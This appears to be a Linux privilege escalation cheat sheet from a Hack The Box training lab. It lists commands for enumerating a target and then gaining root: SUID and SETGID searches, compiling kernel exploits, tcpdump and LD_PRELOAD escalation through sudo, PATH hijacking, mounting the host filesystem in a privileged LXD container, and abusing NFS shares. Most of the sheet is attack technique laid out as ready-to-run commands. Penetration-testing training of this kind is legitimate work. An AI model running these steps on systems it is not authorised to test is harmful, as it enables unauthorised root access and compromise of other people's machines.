

LINUX PRIVILEGE ESCALATION CHEAT SHEET

Command	Description
<code>ssh htb-student@<target IP></code>	SSH to lab target
<code>ps aux grep root</code>	See processes running as root
<code>ps au</code>	See logged in users
<code>ls /home</code>	View user home directories
<code>ls -l ~/.ssh</code>	Check for SSH keys for current user
<code>history</code>	Check the current user's Bash history
<code>sudo -l</code>	Can the user run anything as another user?
<code>ls -la /etc/cron.daily</code>	Check for daily Cron jobs
<code>lsblk</code>	Check for unmounted file systems/drives
<code>find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null</code>	Find world-writeable directories
<code>find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null</code>	Find world-writeable files
<code>uname -a</code>	Check the Kernel version

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<code>cat /etc/lsb-release</code>	Check the OS version
<code>gcc kernel_exploit.c -o kernel_exploit</code>	Compile an exploit written in C
<code>screen -v</code>	Check the installed version of Screen
<code>./pspy64 -pf -i 1000</code>	View running processes with pspy
<code>find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null</code>	Find binaries with the SUID bit set
<code>find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null</code>	Find binaries with the SETGID bit set
<code>sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root</code>	Priv esc with tcpdump
<code>echo \$PATH</code>	Check the current user's PATH variable contents
<code>PATH=./\${PATH}</code>	Add a . to the beginning of the current user's PATH
<code>find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null</code>	Search for config files
<code>ldd /bin/ls</code>	View the shared objects required by a binary
<code>sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart</code>	Escalate privileges using LD_PRELOAD
<code>readelf -d payroll grep PATH</code>	Check the RUNPATH of a binary
<code>gcc src.c -fPIC -shared -o /development/libshared.so</code>	Compiled a shared library
<code>lxd init</code>	Start the LXD initialization process

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<code>lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine</code>	Import a local image
<code>lxc init alpine r00t -c security.privileged=true</code>	Start a privileged LXD container
<code>lxc config device add r00t mydev disk source=/path=/mnt/root recursive=true</code>	Mount the host file system in a container
<code>lxc start r00t</code>	Start the container
<code>showmount -e 10.129.2.12</code>	Show the NFS export list
<code>sudo mount -t nfs 10.129.2.12:/tmp /mnt</code>	Mount an NFS share locally
<code>tmux -S /shareds new -s debugsess</code>	Created a shared tmux session socket
<code>./lynis audit system</code>	Perform a system audit with Lynis